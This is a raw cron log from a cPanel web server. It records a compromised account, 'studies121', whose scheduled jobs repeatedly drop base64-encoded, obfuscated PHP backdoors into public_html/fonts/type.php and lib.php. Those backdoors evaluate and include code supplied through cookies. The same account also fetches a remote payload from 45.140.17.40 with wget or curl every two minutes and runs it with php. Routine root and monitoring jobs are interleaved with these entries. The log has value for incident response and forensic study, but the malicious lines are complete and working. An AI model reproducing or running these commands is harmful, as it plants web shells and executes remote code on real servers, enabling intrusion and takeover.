Feb 22 18:56:01 ip-184-168-122-23 CROND[15573]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:56:01 ip-184-168-122-23 CROND[15574]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:57:01 ip-184-168-122-23 CROND[15802]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:57:01 ip-184-168-122-23 CROND[15803]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:57:01 ip-184-168-122-23 CROND[15806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:57:01 ip-184-168-122-23 CROND[15807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:58:01 ip-184-168-122-23 CROND[16099]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:58:01 ip-184-168-122-23 CROND[16101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:58:01 ip-184-168-122-23 CROND[16104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:58:01 ip-184-168-122-23 CROND[16103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:58:01 ip-184-168-122-23 CROND[16102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:59:01 ip-184-168-122-23 CROND[16355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:59:01 ip-184-168-122-23 CROND[16357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:59:01 ip-184-168-122-23 CROND[16359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:59:01 ip-184-168-122-23 CROND[16360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:00:01 ip-184-168-122-23 CROND[16680]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:00:01 ip-184-168-122-23 CROND[16686]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:00:01 ip-184-168-122-23 CROND[16684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:00:01 ip-184-168-122-23 CROND[16683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:00:01 ip-184-168-122-23 CROND[16687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:00:01 ip-184-168-122-23 CROND[16689]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 19:00:01 ip-184-168-122-23 CROND[16688]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:00:01 ip-184-168-122-23 CROND[16685]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:01:01 ip-184-168-122-23 CROND[17033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:01:01 ip-184-168-122-23 CROND[17035]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:01:01 ip-184-168-122-23 CROND[17037]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 19:01:01 ip-184-168-122-23 CROND[17040]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 19:01:01 ip-184-168-122-23 CROND[17041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:01:01 ip-184-168-122-23 CROND[17042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17040]: starting 0anacron
Feb 22 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[17057]: finished 0anacron
Feb 22 19:02:01 ip-184-168-122-23 CROND[17401]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:02:01 ip-184-168-122-23 CROND[17405]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:02:01 ip-184-168-122-23 CROND[17403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:02:01 ip-184-168-122-23 CROND[17404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:02:01 ip-184-168-122-23 CROND[17406]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:03:01 ip-184-168-122-23 CROND[17728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:03:01 ip-184-168-122-23 CROND[17729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:03:01 ip-184-168-122-23 CROND[17732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:03:01 ip-184-168-122-23 CROND[17731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:04:01 ip-184-168-122-23 CROND[18060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:04:01 ip-184-168-122-23 CROND[18061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:04:01 ip-184-168-122-23 CROND[18062]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:04:01 ip-184-168-122-23 CROND[18066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:04:01 ip-184-168-122-23 CROND[18063]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:05:01 ip-184-168-122-23 CROND[18474]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 19:05:01 ip-184-168-122-23 CROND[18480]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 19:05:01 ip-184-168-122-23 CROND[18477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:05:01 ip-184-168-122-23 CROND[18479]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:05:01 ip-184-168-122-23 CROND[18481]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:05:01 ip-184-168-122-23 CROND[18478]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 19:05:01 ip-184-168-122-23 CROND[18476]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:06:01 ip-184-168-122-23 CROND[18820]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:06:01 ip-184-168-122-23 CROND[18821]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 19:06:01 ip-184-168-122-23 CROND[18823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:06:01 ip-184-168-122-23 CROND[18824]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:06:01 ip-184-168-122-23 CROND[18827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:07:01 ip-184-168-122-23 CROND[19131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:07:01 ip-184-168-122-23 CROND[19134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 19:07:01 ip-184-168-122-23 CROND[19133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 19:07:01 ip-184-168-122-23 CROND[19135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 19:08:01 ip-184-168-122-23 CROND[19460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 19:08:01 ip-184-168-122-23 CROND[19463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
